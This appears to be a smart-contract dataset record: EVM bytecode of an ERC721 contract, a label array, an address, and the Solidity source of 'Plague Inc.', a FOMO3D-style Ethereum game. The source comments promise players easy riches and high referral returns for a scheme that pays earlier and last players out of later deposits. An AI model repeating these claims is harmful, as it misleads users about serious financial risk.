6107825760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161065b565b506000908152600460205260409020546001600160a01b031690565b60006107a982610c3e565b9050806001600160a01b0316836001600160a01b031614156108175760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161065b565b336001600160a01b0382161480610833575061083381336105b8565b6108a55760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161065b565b6108af8383611146565b505050565b6108be33826111b4565b6108da5760405162461bcd60e51b815260040161065b9061202f565b6108af8383836112ab565b60006108f083610d43565b82106109525760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161065b565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b031633146109a55760405162461bcd60e51b815260040161065b90611ffa565b60405133904780156108fc02916000818181858888f193505050506109c957600080fd5b565b60006109d660085490565b60105490915060ff16156109e957600080fd5b600082116109f657600080fd5b600f54821115610a0557600080fd5b600e54610a128383612080565b1115610a1d57600080fd5b600a546001600160a01b03163314610a495781600d54610a3d91906120ac565b341015610a4957600080fd5b60015b828111610a7857610a6684610a618385612080565b611456565b80610a7081612149565b915050610a4c565b50505050565b6108af83838360405180602001604052806000815250610f01565b60606000610aa683610d43565b905060008167ffffffffffffffff811115610ac357610ac36121d0565b604051908082528060200260200182016040528015610aec578160200160208202803683370190505b50905060005b82811015610b3357610b0485826108e5565b828281518110610b1657610b166121ba565b602090810291909101015280610b2b81612149565b915050610af2565b509392505050565b600a546001600160a01b03163314610b655760405162461bcd60e51b815260040161065b90611ffa565b600d55565b6000610b7560085490565b8210610bd85760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161065b565b60088281548110610beb57610beb6121ba565b90600052602060002001549050919050565b600a546001600160a01b03163314610c275760405162461bcd60e51b815260040161065b90611ffa565b8051610c3a90600b906020840190611ad8565b5050565b6000818152600260205260408120546001600160a01b03168061062b5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161065b565b600b8054610cc29061210e565b80601f0160208091040260200160405190810160405280929190818152602001828054610cee9061210e565b8015610d3b5780601f10610d1057610100808354040283529160200191610d3b565b820191906000526020600020905b815481529060010190602001808311610d1e57829003601f168201915b505050505081565b60006001600160a01b038216610dae5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161065b565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610df45760405162461bcd60e51b815260040161065b90611ffa565b6109c96000611470565b600a546001600160a01b03163314610e285760405162461bcd60e51b815260040161065b90611ffa565b600f55565b6060600180546106869061210e565b6001600160a01b038216331415610e955760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161065b565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610f0b33836111b4565b610f275760405162461bcd60e51b815260040161065b9061202f565b610a78848484846114c2565b600c8054610cc29061210e565b6000818152600260205260409020546060906001600160a01b0316610fbf5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161065b565b6000610fc96114f5565b90506000815111610fe95760405180602001604052806000815250611017565b80610ff384611504565b600c60405160200161100793929190611e50565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146110485760405162461bcd60e51b815260040161065b90611ffa565b8051610c3a90600c906020840190611ad8565b600a546001600160a01b031633146110855760405162461bcd60e51b815260040161065b90611ffa565b6001600160a01b0381166110ea5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161065b565b6110f381611470565b50565b60006001600160e01b031982166380ac58cd60e01b148061112757506001600160e01b03198216635b5e139f60e01b145b8061062b57506301ffc9a760e01b6001600160e01b031983161461062b565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061117b82610c3e565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b031661122d5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161065b565b600061123883610c3e565b9050806001600160a01b0316846001600160a01b031614806112735750836001600160a01b031661126884610709565b6001600160a01b0316145b806112a357506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166112be82610c3e565b6001600160a01b0316146113265760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161065b565b6001600160a01b0382166113885760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161065b565b611393838383611602565b61139e600082611146565b6001600160a01b03831660009081526003602052604081208054600192906113c79084906120cb565b90915550506001600160a01b03821660009081526003602052604081208054600192906113f5908490612080565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610c3a8282604051806020016040528060008152506116ba565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6114cd8484846112ab565b6114d9848484846116ed565b610a785760405162461bcd60e51b815260040161065b90611fa8565b6060600b80546106869061210e565b6060816115285750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611552578061153c81612149565b915061154b9050600a83612098565b915061152c565b60008167ffffffffffffffff81111561156d5761156d6121d0565b6040519080825280601f01601f191660200182016040528015611597576020820181803683370190505b5090505b84156112a3576115ac6001836120cb565b91506115b9600a86612164565b6115c4906030612080565b60f81b8183815181106115d9576115d96121ba565b60200101906001600160f81b031916908160001a9053506115fb600a86612098565b945061159b565b6001600160a01b03831661165d5761165881600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611680565b816001600160a01b0316836001600160a01b0316146116805761168083826117fa565b6001600160a01b038216611697576108af81611897565b826001600160a01b0316826001600160a01b0316146108af576108af8282611946565b6116c4838361198a565b6116d160008484846116ed565b6108af5760405162461bcd60e51b815260040161065b90611fa8565b60006001600160a01b0384163b156117ef57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611731903390899088908890600401611f14565b602060405180830381600087803b15801561174b57600080fd5b505af192505050801561177b575060408051601f3d908101601f1916820190925261177891810190611da5565b60015b6117d5573d8080156117a9576040519150601f19603f3d011682016040523d82523d6000602084013e6117ae565b606091505b5080516117cd5760405162461bcd60e51b815260040161065b90611fa8565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506112a3565b506001949350505050565b6000600161180784610d43565b61181191906120cb565b600083815260076020526040902054909150808214611864576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906118a9906001906120cb565b600083815260096020526040812054600880549394509092849081106118d1576118d16121ba565b9060005260206000200154905080600883815481106118f2576118f26121ba565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061192a5761192a6121a4565b6001900381819060005260206000200160009055905550505050565b600061195183610d43565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166119e05760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161065b565b6000818152600260205260409020546001600160a01b031615611a455760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161065b565b611a5160008383611602565b6001600160a01b0382166000908152600360205260408120805460019290611a7a908490612080565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611ae49061210e565b90600052602060002090601f016020900481019282611b065760008555611b4c565b82601f10611b1f57805160ff1916838001178555611b4c565b82800160010185558215611b4c579182015b82811115611b4c578251825591602001919060010190611b31565b50611b58929150611b5c565b5090565b5b80821115611b585760008155600101611b5d565b600067ffffffffffffffff80841115611b8c57611b8c6121d0565b604051601f8501601f19908116603f01168101908282118183101715611bb457611bb46121d0565b81604052809350858152868686011115611bcd57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611bfe57600080fd5b919050565b80358015158114611bfe57600080fd5b600060208284031215611c2557600080fd5b61101782611be7565b60008060408385031215611c4157600080fd5b611c4a83611be7565b9150611c5860208401611be7565b90509250929050565b600080600060608486031215611c7657600080fd5b611c7f84611be7565b9250611c8d60208501611be7565b9150604084013590509250925092565b60008060008060808587031215611cb357600080fd5b611cbc85611be7565b9350611cca60208601611be7565b925060408501359150606085013567ffffffffffffffff811115611ced57600080fd5b8501601f81018713611cfe57600080fd5b611d0d87823560208401611b71565b91505092959194509250565b60008060408385031215611d2c57600080fd5b611d3583611be7565b9150611c5860208401611c03565b60008060408385031215611d5657600080fd5b611d5f83611be7565b946020939093013593505050565b600060208284031215611d7f57600080fd5b61101782611c03565b600060208284031215611d9a57600080fd5b8135611017816121e6565b600060208284031215611db757600080fd5b8151611017816121e6565b600060208284031215611dd457600080fd5b813567ffffffffffffffff811115611deb57600080fd5b8201601f81018413611dfc57600080fd5b6112a384823560208401611b71565b600060208284031215611e1d57600080fd5b5035919050565b60008151808452611e3c8160208601602086016120e2565b601f01601f19169290920160200192915050565b600084516020611e638285838a016120e2565b855191840191611e768184848a016120e2565b8554920191600090600181811c9080831680611e9357607f831692505b858310811415611eb157634e487b7160e01b85526022600452602485fd5b808015611ec55760018114611ed657611f03565b60ff19851688528388019550611f03565b60008b81526020902060005b85811015611efb5781548a820152908401908801611ee2565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611f4790830184611e24565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015611f8957835183529284019291840191600101611f6d565b50909695505050505050565b6020815260006110176020830184611e24565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561209357612093612178565b500190565b6000826120a7576120a761218e565b500490565b60008160001904831182151516156120c6576120c6612178565b500290565b6000828210156120dd576120dd612178565b500390565b60005b838110156120fd5781810151838201526020016120e5565b83811115610a785750506000910152565b600181811c9082168061212257607f821691505b6020821081141561214357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561215d5761215d612178565b5060010190565b6000826121735761217361218e565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146110f357600080fdfea2646970667358221220b3735516dbf9c7cf18c4f360d76e4bbd1886a5ffc7ccc47dd9e72bb4481b9a3464736f6c63430008070033
[ 5, 12 ]
0xf317a365cfef0aa4357abd057048808a1d430402
pragma solidity ^0.4.24; //================================================================================ // Plague Inc. <Grand prize> // WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!! // This game is easy for you to get rich. // Please prepare enough ETH. // If you have HEART DISEASE, PLEASE DON'T PLAY. // If you are Chinese or American, please don't play. YOU ARE TOO RICH. // // Plague Inc. , which is abbreviated as PIC by players. // is developed by a well-known games company who put a lot of effort into R&D. // One evening, our producer had a hands-on experience on FOMO3D. // and he was really annoyed by the "unreasonable" numerical settings in FOMO3D. // He said: "We can make a better one!" // So we made a better one. ^v^ // // # It takes less time for investors to get back their capital, while making more // profit (51% for investor dividends). // # Introducers can get a high return of 10% (effective in the long term). // # A lot of investors suffered losses in FOMO3D Quick, which is solved perfectly // by Plague Inc. // # A total of 11 players will share the grand prize, you don’t have to be the // last one. // # Better numerical and time setup, no worries about being in trouble. // // ©2030 Plague Inc. All Rights Reserved. // www.plagueinc.io // Memorial Bittorrent, eDonkey, eMule. Embrace IPFS // Blockchain will change the world. //================================================================================ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } contract PlagueEvents { //infective person event onInfectiveStage ( address indexed player, uint256 indexed rndNo, uint256 keys, uint256 eth, uint256 timeStamp, address indexed inveter ); // become leader during second stage event onDevelopmentStage ( address indexed player, uint256 indexed rndNo, uint256 eth, uint256 timeStamp, address indexed inveter ); // award event onAward ( address indexed player, uint256 indexed rndNo, uint256 eth, uint256 timeStamp ); } contract Plague is PlagueEvents{ using SafeMath for *; using KeysCalc for uint256; struct Round { uint256 eth; // total eth uint256 keys; // total keys uint256 startTime; // start time uint256 endTime; // end time uint256 infectiveEndTime; // infective end time address leader; // leader address infectLastPlayer; // the player will award 10% eth address [11] lastInfective; // the lastest 11 infective address [4] loseInfective; // the lose infective bool [11] infectiveAward_m; // uint256 totalInfective; // the count of this round uint256 inveterAmount; // remain inveter amount of this round uint256 lastRoundReward; // last round remain eth 10% + eth 4% - inveterAmount + last remain award uint256 exAward; // development award } struct PlayerRound { uint256 eth; // eth player has added to round uint256 keys; // keys uint256 withdraw; // how many eth has been withdraw uint256 getInveterAmount; // inverter amount uint256 hasGetAwardAmount; // player has get award amount } uint256 public rndNo = 1; // current round number uint256 public totalEth = 0; // total eth in all round uint256 constant private rndInfectiveStage_ = 12 hours; // round timer at infective stage 12 hours; uint256 constant private rndInfectiveReadyTime_ = 30 minutes; // round timer at infective stage ready time uint256 constant private rndDevelopmentStage_ = 15 minutes; // round timer at development stage 30 minutes; uint256 constant private rndDevelopmentReadyTime_ = 12 hours; // round timer at development stage ready time 1 hours; uint256 constant private allKeys_ = 15000000 * (10 ** 18); // all keys count uint256 constant private allEths_ = 18703123828125000000000; // all eths count uint256 constant private rndIncreaseTime_ = 3 hours; // increase time 3 hours uint256 constant private developmentAwardPercent = 1; // 0.1% reduction every 3 hours mapping (uint256 => Round) public round_m; // (rndNo => Round) mapping (uint256 => mapping (address => PlayerRound)) public playerRound_m; // (rndNo => addr => PlayerRound) address public owner; // owner address address public receiver = address(0); // receive eth address uint256 public ownerWithdraw = 0; // how many eth has been withdraw by owner bool public isStartGame = false; // start game flag constructor() public { owner = msg.sender; } /** * @dev prevents contracts from interacting */ modifier onlyHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } /** * @dev only owner */ modifier onlyOwner() { require(owner == msg.sender, "only owner can do it"); _; } /** * @dev It must be human beings to call the function. */ function isHuman(address _addr) private view returns (bool) { uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} return _codeLength == 0; } /** * @dev player infect a person at current round * */ function buyKeys(address _inveter) private { uint256 _eth = msg.value; uint256 _now = now; uint256 _rndNo = rndNo; uint256 _ethUse = msg.value; if (_now > round_m[_rndNo].endTime) { require(round_m[_rndNo].endTime + rndDevelopmentReadyTime_ < _now, "we should wait some time"); uint256 lastAwardEth = (round_m[_rndNo].eth.mul(14) / 100).sub(round_m[_rndNo].inveterAmount); if(round_m[_rndNo].totalInfective < round_m[_rndNo].lastInfective.length) { uint256 nextPlayersAward = round_m[_rndNo].lastInfective.length.sub(round_m[_rndNo].totalInfective); uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100; _totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward); if(round_m[_rndNo].infectLastPlayer != address(0)) { lastAwardEth = lastAwardEth.add(nextPlayersAward.mul(_totalAward.mul(3)/100)); } else { lastAwardEth = lastAwardEth.add(nextPlayersAward.mul(_totalAward.mul(4)/100)); } } _rndNo = _rndNo.add(1); rndNo = _rndNo; round_m[_rndNo].startTime = _now; round_m[_rndNo].endTime = _now + rndInfectiveStage_; round_m[_rndNo].totalInfective = 0; round_m[_rndNo].lastRoundReward = lastAwardEth; } // infective or second stage if (round_m[_rndNo].keys < allKeys_) { // infection stage uint256 _keys = (round_m[_rndNo].eth).keysRec(_eth); if (_keys.add(round_m[_rndNo].keys) >= allKeys_) { _keys = allKeys_.sub(round_m[_rndNo].keys); if (round_m[_rndNo].eth >= allEths_) { _ethUse = 0; } else { _ethUse = (allEths_).sub(round_m[_rndNo].eth); } if (_eth > _ethUse) { // refund msg.sender.transfer(_eth.sub(_ethUse)); } else { // fix _ethUse = _eth; } // first stage is over, record current time round_m[_rndNo].infectiveEndTime = _now.add(rndInfectiveReadyTime_); round_m[_rndNo].endTime = _now.add(rndDevelopmentStage_).add(rndInfectiveReadyTime_); round_m[_rndNo].infectLastPlayer = msg.sender; } else { require (_keys >= 1 * 10 ** 19, "at least 10 thound people"); round_m[_rndNo].endTime = _now + rndInfectiveStage_; } round_m[_rndNo].leader = msg.sender; // update playerRound playerRound_m[_rndNo][msg.sender].keys = _keys.add(playerRound_m[_rndNo][msg.sender].keys); playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth); // update round round_m[_rndNo].keys = _keys.add(round_m[_rndNo].keys); round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth); // update global variable totalEth = _ethUse.add(totalEth); // event emit PlagueEvents.onInfectiveStage ( msg.sender, _rndNo, _keys, _ethUse, _now, _inveter ); } else { // second stage require(round_m[_rndNo].infectiveEndTime < _now, "The virus is being prepared..."); // increase 0.05 Ether every 3 hours _ethUse = (((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(5 * 10 ** 16)).add((5 * 10 ** 16)); require(_eth >= _ethUse, "Ether amount is wrong"); if(_eth > _ethUse) { msg.sender.transfer(_eth.sub(_ethUse)); } round_m[_rndNo].endTime = _now + rndDevelopmentStage_; round_m[_rndNo].leader = msg.sender; // update playerRound playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth); // update round round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth); // update global variable totalEth = _ethUse.add(totalEth); // update development award uint256 _exAwardPercent = ((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(developmentAwardPercent).add(developmentAwardPercent); if(_exAwardPercent >= 410) { _exAwardPercent = 410; } round_m[_rndNo].exAward = (_exAwardPercent.mul(_ethUse) / 1000).add(round_m[_rndNo].exAward); // event emit PlagueEvents.onDevelopmentStage ( msg.sender, _rndNo, _ethUse, _now, _inveter ); } // caculate share inveter amount if(_inveter != address(0) && isHuman(_inveter)) { playerRound_m[_rndNo][_inveter].getInveterAmount = playerRound_m[_rndNo][_inveter].getInveterAmount.add(_ethUse.mul(10) / 100); round_m[_rndNo].inveterAmount = round_m[_rndNo].inveterAmount.add(_ethUse.mul(10) / 100); } round_m[_rndNo].loseInfective[round_m[_rndNo].totalInfective % 4] = round_m[_rndNo].lastInfective[round_m[_rndNo].totalInfective % 11]; round_m[_rndNo].lastInfective[round_m[_rndNo].totalInfective % 11] = msg.sender; round_m[_rndNo].totalInfective = round_m[_rndNo].totalInfective.add(1); } /** * @dev recommend a player */ function buyKeyByAddr(address _inveter) onlyHuman() isWithinLimits(msg.value) public payable { require(isStartGame == true, "The game hasn't started yet."); buyKeys(_inveter); } /** * @dev play */ function() onlyHuman() isWithinLimits(msg.value) public payable { require(isStartGame == true, "The game hasn't started yet."); buyKeys(address(0)); } /** * @dev Award by rndNo. * 0x80ec35ff * 0x80ec35ff0000000000000000000000000000000000000000000000000000000000000001 */ function awardByRndNo(uint256 _rndNo) onlyHuman() public { require(isStartGame == true, "The game hasn't started yet."); require(_rndNo <= rndNo, "You're running too fast"); uint256 _ethOut = 0; uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100; _totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward); _totalAward = _totalAward.add(round_m[_rndNo].exAward); uint256 _getAward = 0; //withdraw award uint256 _totalWithdraw = round_m[_rndNo].eth.mul(51) / 100; _totalWithdraw = _totalWithdraw.sub(round_m[_rndNo].exAward); _totalWithdraw = (_totalWithdraw.mul(playerRound_m[_rndNo][msg.sender].keys)); _totalWithdraw = _totalWithdraw / round_m[_rndNo].keys; uint256 _inveterAmount = playerRound_m[_rndNo][msg.sender].getInveterAmount; _totalWithdraw = _totalWithdraw.add(_inveterAmount); uint256 _withdrawed = playerRound_m[_rndNo][msg.sender].withdraw; if(_totalWithdraw > _withdrawed) { _ethOut = _ethOut.add(_totalWithdraw.sub(_withdrawed)); playerRound_m[_rndNo][msg.sender].withdraw = _totalWithdraw; } //lastest infect player if(msg.sender == round_m[_rndNo].infectLastPlayer && round_m[_rndNo].infectLastPlayer != address(0) && round_m[_rndNo].infectiveEndTime != 0) { _getAward = _getAward.add(_totalAward.mul(10)/100); } if(now > round_m[_rndNo].endTime) { // finally award if(round_m[_rndNo].leader == msg.sender) { _getAward = _getAward.add(_totalAward.mul(60)/100); } //finally ten person award for(uint256 i = 0;i < round_m[_rndNo].lastInfective.length; i = i.add(1)) { if(round_m[_rndNo].lastInfective[i] == msg.sender && (round_m[_rndNo].totalInfective.sub(1) % 11) != i){ if(round_m[_rndNo].infectiveAward_m[i]) continue; if(round_m[_rndNo].infectLastPlayer != address(0)) { _getAward = _getAward.add(_totalAward.mul(3)/100); } else{ _getAward = _getAward.add(_totalAward.mul(4)/100); } round_m[_rndNo].infectiveAward_m[i] = true; } } } _ethOut = _ethOut.add(_getAward.sub(playerRound_m[_rndNo][msg.sender].hasGetAwardAmount)); playerRound_m[_rndNo][msg.sender].hasGetAwardAmount = _getAward; if(_ethOut != 0) { msg.sender.transfer(_ethOut); } // event emit PlagueEvents.onAward ( msg.sender, _rndNo, _ethOut, now ); } /** * @dev Get player bonus data * 0xd982466d * 0xd982466d0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000028f211f6c07d3b79e0aab886d56333e4027d4f59 * @return player's award * @return player's can withdraw amount * @return player's inveter amount * @return player's has been withdraw */ function getPlayerAwardByRndNo(uint256 _rndNo, address _playAddr) view public returns (uint256, uint256, uint256, uint256) { uint256 _ethPlayerAward = 0; //withdraw award uint256 _totalWithdraw = round_m[_rndNo].eth.mul(51) / 100; _totalWithdraw = _totalWithdraw.sub(round_m[_rndNo].exAward); _totalWithdraw = (_totalWithdraw.mul(playerRound_m[_rndNo][_playAddr].keys)); _totalWithdraw = _totalWithdraw / round_m[_rndNo].keys; uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100; _totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward); _totalAward = _totalAward.add(round_m[_rndNo].exAward); //lastest infect player if(_playAddr == round_m[_rndNo].infectLastPlayer && round_m[_rndNo].infectLastPlayer != address(0) && round_m[_rndNo].infectiveEndTime != 0) { _ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(10)/100); } if(now > round_m[_rndNo].endTime) { // finally award if(round_m[_rndNo].leader == _playAddr) { _ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(60)/100); } //finally ten person award for(uint256 i = 0;i < round_m[_rndNo].lastInfective.length; i = i.add(1)) { if(round_m[_rndNo].lastInfective[i] == _playAddr && (round_m[_rndNo].totalInfective.sub(1) % 11) != i) { if(round_m[_rndNo].infectLastPlayer != address(0)) { _ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(3)/100); } else{ _ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(4)/100); } } } } return ( _ethPlayerAward, _totalWithdraw, playerRound_m[_rndNo][_playAddr].getInveterAmount, playerRound_m[_rndNo][_playAddr].hasGetAwardAmount + playerRound_m[_rndNo][_playAddr].withdraw ); } /** * @dev fee withdraw to receiver, everyone can do it. * 0x6561e6ba */ function feeWithdraw() onlyHuman() public { require(isStartGame == true, "The game hasn't started yet."); require(receiver != address(0), "The receiver address has not been initialized."); uint256 _total = (totalEth.mul(5) / (100)); uint256 _withdrawed = ownerWithdraw; require(_total > _withdrawed, "No need to withdraw"); ownerWithdraw = _total; receiver.transfer(_total.sub(_withdrawed)); } /** * @dev start game * 0xd65ab5f2 */ function startGame() onlyOwner() public { require(isStartGame == false, "The game has already started!"); round_m[1].startTime = now; round_m[1].endTime = now + rndInfectiveStage_; round_m[1].lastRoundReward = 0; isStartGame = true; } /** * @dev change owner. * 0x547e3f06000000000000000000000000695c7a3c1a27de4bb32cd812a8c2677e25f0b9d5 */ function changeReceiver(address newReceiver) onlyOwner() public { receiver = newReceiver; } /** * @dev returns all current round info needed for front end * 0x747dff42 */ function getCurrentRoundInfo() public view returns(uint256, uint256[2], uint256[3], address[2], uint256[6], address[11], address[4]) { uint256 _rndNo = rndNo; uint256 _totalAwardAtRound = round_m[_rndNo].lastRoundReward.add(round_m[_rndNo].exAward).add(round_m[_rndNo].eth.mul(30) / 100); return ( _rndNo, [round_m[_rndNo].eth, round_m[_rndNo].keys], [round_m[_rndNo].startTime, round_m[_rndNo].endTime, round_m[_rndNo].infectiveEndTime], [round_m[_rndNo].leader, round_m[_rndNo].infectLastPlayer], [getBuyPrice(), round_m[_rndNo].lastRoundReward, _totalAwardAtRound, round_m[_rndNo].inveterAmount, round_m[_rndNo].totalInfective % 11, round_m[_rndNo].exAward], round_m[_rndNo].lastInfective, round_m[_rndNo].loseInfective ); } /** * @dev return the price buyer will pay for next 1 individual key during first stage. * 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { uint256 _rndNo = rndNo; uint256 _now = now; // start next round? if (_now > round_m[_rndNo].endTime) { return (750007031250000); } if (round_m[_rndNo].keys < allKeys_) { return ((round_m[_rndNo].keys.add(10000000000000000000)).ethRec(10000000000000000000)); } if(round_m[_rndNo].keys >= allKeys_ && round_m[_rndNo].infectiveEndTime != 0 && round_m[_rndNo].infectLastPlayer != address(0) && _now < round_m[_rndNo].infectiveEndTime) { return 5 * 10 ** 16; } if(round_m[_rndNo].keys >= allKeys_ && _now > round_m[_rndNo].infectiveEndTime) { // increase 0.05 Ether every 3 hours uint256 currentPrice = (((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(5 * 10 ** 16)).add((5 * 10 ** 16)); return currentPrice; } //second stage return (0); } } library KeysCalc { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } }
